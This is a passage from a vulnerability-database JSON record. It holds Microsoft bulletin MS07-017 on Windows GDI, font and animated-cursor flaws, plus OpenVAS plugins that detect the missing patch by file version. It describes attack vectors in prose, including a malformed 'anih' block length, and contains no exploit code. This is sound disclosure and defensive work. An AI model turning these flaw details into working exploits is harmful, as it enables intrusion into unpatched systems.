who exploited this vulnerability could cause the affectedsystem to stop responding and automatically restart. Note that the denial of service vulnerability would not allow attackers to execute code or elevate their privileges, but it could cause the affected program to stop accepting requests.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by an attempt to read a data value that contains an invalid memory reference.\r\n\r\nWhat is the Windows Metafile (WMF) image formats?\r\nThe WMF image format is a 16-bit metafile format that can contain both vector information and bitmap information. It is optimized for the Windows operating system.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\r\nWho could exploit the vulnerability?\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to attempt to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nI am running Internet Explorer on Windows Server 2003. Does this mitigate this vulnerability?\r\nYes. By default, Internet Explorer on Windows Server 2003 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that have not been added to Internet Explorer Trusted sites zone.\r\n\r\nWhat is the Internet Explorer Enhanced Security Configuration?\r\nInternet Explorer Enhanced Security Configuration is a group of preconfigured Internet Explorer settings that reduce the likelihood of a user or of an administrator downloading and running specially crafted Web content on a server. Internet Explorer Enhanced Security Configuration reduces this risk by modifying many security-related settings. This includes the settings on the Security tab and the Advanced tab in the Internet Options dialog box. Some of the important modifications include the following:\r\n\u2022\t\r\n\r\nSecurity level for the Internet zone is set to High. This setting disables scripts, ActiveX controls, Microsoft Java Virtual Machine (MSJVM), and file downloads.\r\n\u2022\t\r\n\r\nAutomatic detection of intranet sites is disabled. This setting assigns all intranet Web sites and all Universal Naming Convention (UNC) paths that are not explicitly listed in the Local intranet zone to the Internet zone.\r\n\u2022\t\r\n\r\nInstall On Demand and non-Microsoft browser extensions are disabled. This setting prevents Web pages from automatically installing components and prevents non-Microsoft extensions from running.\r\n\u2022\t\r\n\r\nMultimedia content is disabled. This setting prevents music, animations, and video clips from running.\r\n\r\nFor more information regarding Internet Explorer Enhanced Security Configuration, see the guide, Managing Internet Explorer Enhanced Security Configuration, at the following Web site.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system checks message inputs under certain circumstances.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212:\r\n\r\nAn elevation of privilege vulnerability exists in the rendering of Enhanced Metafile (EMF) image format files. Any program that renders EMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any mitigations for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nAn unchecked buffer in GDI when rendering Enhanced Metafile (EMF) image format files.\r\n\r\nWhat is Enhanced Metafile (EMF) image format? \r\nThe EMF image format is a 32-bit format that can contain both vector information and bitmap information.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system versions validate the length of a message before it passes the message to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it renders layered application windows. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Invalid Window Size Elevation of Privilege Vulnerability - CVE-2006-5586:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by the processing of invalid application window sizes.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI, please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nAn attacker could try to exploit the vulnerability by creating a specially crafted application and executing it on the affected system. The application could create a series of layered windows that pass an invalid parameter. In this way, an unprivileged attacker could gain complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update resolves the vulnerability by verifying application window sizes before it passes the data to the allocated buffer\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nMicrosoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nA remote code execution vulnerability exists in the way that Windows handles cursor, animated cursor, and icon formats. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially allow remote code execution if a user visited a malicious Web site or viewed a specially crafted e-mail message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\u2022\t\r\n\r\nCustomers who are using Windows Internet Explorer 7 on Windows Vista are protected from currently known web based attacks due to Internet Explorer Protected Mode. For more information on Internet Explorer Protected Mode see the following Windows Web site.\r\n\u2022\t\r\n\r\nBy default, Microsoft Office Outlook 2007 uses Microsoft Word to display e-mail messages which protects customers from the HTML e-mail preview and attack vector.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker could also attempt to compromise a Web site to have it serve up a Web page with malicious content attempting to exploit this vulnerability. An attacker would have no way to force users to visit a Web site. Instead, an attacker would have to persuade them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site or a site compromised by the attacker.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nMicrosoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nNote Reading e-mail in plain text on Outlook Express does not mitigate attempts to exploit this vulnerability.\r\n\r\nNote While reading e-mail in plain text on Windows Mail in Windows Vista does mitigate attempts to exploit the vulnerability it does not provide mitigation if forwarding or replying to e-mail messages sent by an attacker.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis isa remote code execution vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full privileges. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges.\r\n\r\nWhat are Animated Cursors?\r\nAnimated cursors are a feature that allows a series of frames to appear at the mouse pointer location instead of a single image. The Animated Cursors feature is designated by the .ani suffix.\r\n\r\nIf I block files that use the .ani file name extension, can this protect me against attempts to exploit this vulnerability? \r\nNo. The vulnerability is not constrained by the .ani file extension. Additional image file types may be used to exploit the vulnerability.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability exists in the way that Windows performs format validation prior to handling cursors, animated cursors, and icons.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could try to exploit the vulnerability by creating a specially crafted web page. An attacker could also create a specially-crafted email message and send it to an affected system. Upon viewing a web page, previewing or reading a specially crafted message, or opening a specially crafted email attachment the attacker could cause the affected system to execute code. While animated cursors typically are associated with the .ani file extension, a successful attack is not constrained by this file type.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that cursors, animated cursor, and icon formats are validated prior to rendering.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nYes. This vulnerability has been publicly disclosed. It has been assigned Common Vulnerability and Exposure number CVE-2007-0038.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nYes. When the security bulletin was released, Microsoft had received information that this vulnerability was being exploited.\r\n\r\nWhat is Microsoft\u2019s response to the availability of third party patches for the Animated Cursor vulnerability?\r\nMicrosoft recommends that customers download and deploy the security update associated with this security bulletin.\r\n\r\nAs a general rule, it is a best practice to obtain security updates for software vulnerabilities from the original vendor of the software. With Microsoft software, Microsoft carefully reviews and tests security updates to ensure that they are of high quality and have been evaluated thoroughly for application compatibility. In addition, Microsoft\u2019s security updates are offered in 23 languages for all affected versions of the software simultaneously.\r\n\r\nMicrosoft cannot provide similar assurance for independent third party security patches or mitigations.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability?\r\nYes. This security update addresses the vulnerability that is being actively exploited. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2007-0038.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nA local elevation of privilege vulnerability exists in the Graphics Device Interface due to the way it processes color-related parameters. This vulnerability could allow an attacker to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nAn attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with the same user rights as the logged-on user.\r\n\r\nWhat causes the vulnerability?\r\nWhen a Windows-based program renders affected types of images, the program passes color-related parameters to an unchecked memory buffer in GDI.\r\n\r\nWhat is the Graphics Device Interface (GDI)?\r\nThe Microsoft Windows graphics device interface (GDI) enables applications to use graphics and formatted text on both the video display and the printer. Windows-based applications do not access the graphics hardware directly. Instead, GDI interacts with device drivers on behalf of applications. For more information about GDI please visit the following MSDN article.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nAny program that renders the affected image types could be vulnerable to this attack. An attacker could locally log on to the system and then run a specially designed program that could exploit the vulnerability.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs or browse web pages. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the Graphic Device Interface validates the length of data before passing the data to the allocated buffer.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nFont Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nA local elevation of privilege vulnerability exists in the TrueType Fonts rasterizer in the way that it handles defective or modified font types. This vulnerability could allow a logged-on user to take complete control of the system.\r\n\t\r\nMitigating Factors for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nAttempts to exploit this vulnerability will most probably result in a denial of service condition caused by an unexpected restart of the affected system rather than local elevation of privilege.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a local elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker with valid logon credentials could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen processing defective or modified fonts, the TrueType Font Rasterizer may call an uninitialized function pointer.\r\n\r\nWhat is True Type Font Rasterizer? \r\nThe TrueType Font Rasterizer generates character bitmaps for screens and printers, otherwise known as raster devices.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nWho could exploit the vulnerability? \r\nTo try to exploit the vulnerability, an attacker must be able to log on locally to a system and run a program.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could create an application that uses a specially crafted font such that, when the True Type Font Rasterizer tries to render the specially crafted font, the Rasterizer would allow the attacker to take complete control of the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by changing the way that the True Type Font Rasterizer initializes True Type fonts.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\n\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\nAlexander Sotirov of Determina Security Research for reporting the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\nMcAfee for working with us on the Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038.\r\n\u2022\t\r\n\r\niDefense for reporting the WMF Denial of Service Vulnerability CVE-2007-1211.\r\n\u2022\t\r\n\r\nShaun Colley of NGS Software for reporting the EMF Elevation of Privilege Vulnerability CVE-2007-1212.\r\n\u2022\t\r\n\r\nThomas Phinney of Adobe Systems for reporting the Font Rasterizer Local Elevation of Privilege Vulnerability - CVE-2007-1213.\r\n\u2022\t\r\n\r\nSergey Svinolobov for reporting the GDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215.\r\n\r\nDisclaimer:\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions: \r\n\u2022\t\r\n\r\nV1.0 (April 3, 2007): Bulletin published.", "edition": 1, "cvss3": {}, "published": "2007-04-04T00:00:00", "title": "Microsoft Security Bulletin MS07-017 Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-04T00:00:00", "id": "SECURITYVULNS:DOC:16563", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16563", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:25", "description": "No description provided", "edition": 1, "cvss3": {}, "published": "2007-04-04T00:00:00", "title": "Microsoft Windows multiple GDI vulnerabilities", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-04T00:00:00", "id": "SECURITYVULNS:VULN:7529", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7529", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2017-07-20T08:49:00", "description": "Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.", "cvss3": {}, "published": "2010-07-08T00:00:00", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "modified": "2017-07-05T00:00:00", "id": "OPENVAS:102055", "href": "http://plugins.openvas.org/nasl.php?oid=102055", "sourceData": "###################################################################\n# OpenVAS Network Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2009 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\ntag_solution = \"Run Windows Update or apply patches available from the following \n website:\n http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\";\ntag_summary = \"Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.\";\n\nif(description)\n{\n script_id(102055);\n script_version(\"$Revision: 6527 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-05 07:56:34 +0200 (Wed, 05 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\", \n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name : \"URL\" , value : \"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name : \"URL\" , value : \"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name : \"URL\" , value : \"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\");\n script_require_ports(139, 445);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\",\n test_version2:\"5.0.2195.7133\")){\n security_message(0); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\",\n test_version2:\"5.1.2600.3099\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.2892\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.4033\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.651\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\",\n test_version2:\"6.0.6000.16438\")){\n security_message(0); exit(0);\n }\n } \n}\n\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2020-01-08T14:05:26", "description": "Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.", "cvss3": {}, "published": "2010-07-08T00:00:00", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "modified": "2020-01-07T00:00:00", "id": "OPENVAS:1361412562310102055", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310102055", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2010 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.102055\");\n script_version(\"2020-01-07T09:06:32+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-07 09:06:32 +0000 (Tue, 07 Jan 2020)\");\n script_tag(name:\"creation_date\", 